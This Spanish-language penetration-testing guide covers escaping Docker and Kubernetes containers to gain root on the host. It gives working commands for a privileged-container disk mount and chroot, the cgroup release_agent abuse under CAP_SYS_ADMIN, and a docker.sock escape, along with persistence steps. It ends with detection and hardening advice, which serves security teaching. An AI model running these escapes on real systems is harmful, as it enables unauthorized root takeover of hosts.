Container escape
Tener una shell dentro de un contenedor no es tener el host. El contenedor comparte el kernel de la maquina, pero vive aislado por namespaces (PID, red, montajes) y limitado por cgroups y por el conjunto de capabilities que se le concedieron. Un container escape consiste en romper ese aislamiento y pasar a ejecutar como root en el host, casi siempre porque el contenedor se arranco con permisos de mas (privilegiado, capabilities peligrosas, el socket de Docker montado dentro) o porque el runtime es vulnerable.
Lo primero es confirmar que estamos dentro de un contenedor y de que tipo, porque cambia el vector:
cat /proc/1/cgroup # rutas con /docker/ o /lxc/ delatan el contenedor
ls -la /.dockerenv # fichero centinela que crea Docker
env | grep -i kube # variables KUBERNETES_* -> es un pod
capsh --print # capabilities efectivas del contenedor
mount | grep -i docker.sock # ver si el socket de Docker esta montado dentroContenedor privilegiado
Un contenedor lanzado con --privileged (o --pid=host, --cap-add=ALL) apenas esta aislado: ve los discos del host en /dev y puede montarlos. La ruta directa es localizar el disco y montarlo:
fdisk -l # listar los discos del host (p.ej. /dev/sda1)
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host # montar el sistema de ficheros real del host
chroot /mnt/host bash # ya somos root sobre el hostDesde ahi se consolida como en cualquier acceso root: poner el bit SUID a bash, escribir una clave en /root/.ssh/authorized_keys o crear un usuario (ver escritura en /etc/passwd y el abuso de binarios SUID).
Capabilities peligrosas
Sin --privileged, una sola capability mal concedida basta. La mas explotada es CAP_SYS_ADMIN con cgroups v1: se abusa del mecanismo release_agent (notify_on_release) para que el kernel ejecute un script en el host cuando el ultimo proceso del cgroup termina.
# CAP_SYS_ADMIN + cgroup v1: montar un cgroup, apuntar release_agent a un script y dispararlo
mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg && mkdir /tmp/cg/x
echo 1 > /tmp/cg/x/notify_on_release
host=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
echo "$host/cmd" > /tmp/cg/release_agent
printf '#!/bin/sh\nid > %s/out\n' "$host" > /cmd && chmod +x /cmd
sh -c "echo \$\$ > /tmp/cg/x/cgroup.procs" # al salir, el host ejecuta /cmdOtras capabilities dan lo mismo por otra via: CAP_DAC_READ_SEARCH permite leer cualquier fichero del host (exploit shocker con open_by_handle_at), CAP_SYS_MODULE permite cargar un modulo del kernel malicioso, y CAP_SYS_PTRACE con --pid=host deja inyectar en un proceso del host. Enumerar siempre las capabilities efectivas antes de elegir:
capsh --print | grep -i cap_sys_admin
getcap -r / 2>/dev/nullSocket de Docker montado dentro
Si el contenedor tiene /var/run/docker.sock montado, controla al demonio Docker del host, que corre como root. Se pide un contenedor nuevo que monte la raiz del host (mismo efecto que el abuso del grupo docker, pero desde dentro de otro contenedor):
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt shRuntime vulnerable (runc)
Cuando nada de lo anterior aplica, queda el runtime. CVE-2019-5736 permite a un proceso del contenedor sobrescribir el binario runc del host (via /proc/self/exe): la proxima vez que alguien haga docker exec contra ese contenedor, se ejecuta nuestro codigo como root en el host. Es fiable en versiones antiguas de runc y sigue apareciendo en entornos sin parchear.
Cómo detectarlo. Los indicadores viven en el host, no en el contenedor. auditd/Sysmon for Linux ven un proceso cuyo ancestro es containerd-shim/runc que de repente monta un dispositivo de bloque (/dev/sda*), hace chroot a ese montaje y toca ficheros del sistema real (/etc/shadow, /root/.ssh, un chmod +s /bin/bash), algo que una aplicacion contenerizada nunca hace. El uso de release_agent deja un mount -t cgroup seguido de una escritura en release_agent y en cgroup.procs; la carga de un modulo (CAP_SYS_MODULE) dispara eventos init_module; y la sobrescritura de runc (CVE-2019-5736) se ve como una escritura sobre el binario del runtime. A nivel de configuracion, un contenedor con Privileged: true, con el socket de Docker montado o con capabilities amplias es la senal temprana que precede a todo lo demas.
Defensa. No lanzar contenedores con --privileged ni conceder capabilities que no se necesiten (dejar solo el conjunto minimo, --cap-drop=ALL y anadir lo justo); nunca montar /var/run/docker.sock dentro de un contenedor expuesto; mantener runc/containerd actualizados frente a CVE-2019-5736 y similares; y aplicar perfiles de seccomp/AppArmor y user namespaces para que el root del contenedor no sea el root del host. Relacionado con el abuso del grupo docker, el abuso de LXD, el privesc en Kubernetes y el pivote a contenedores.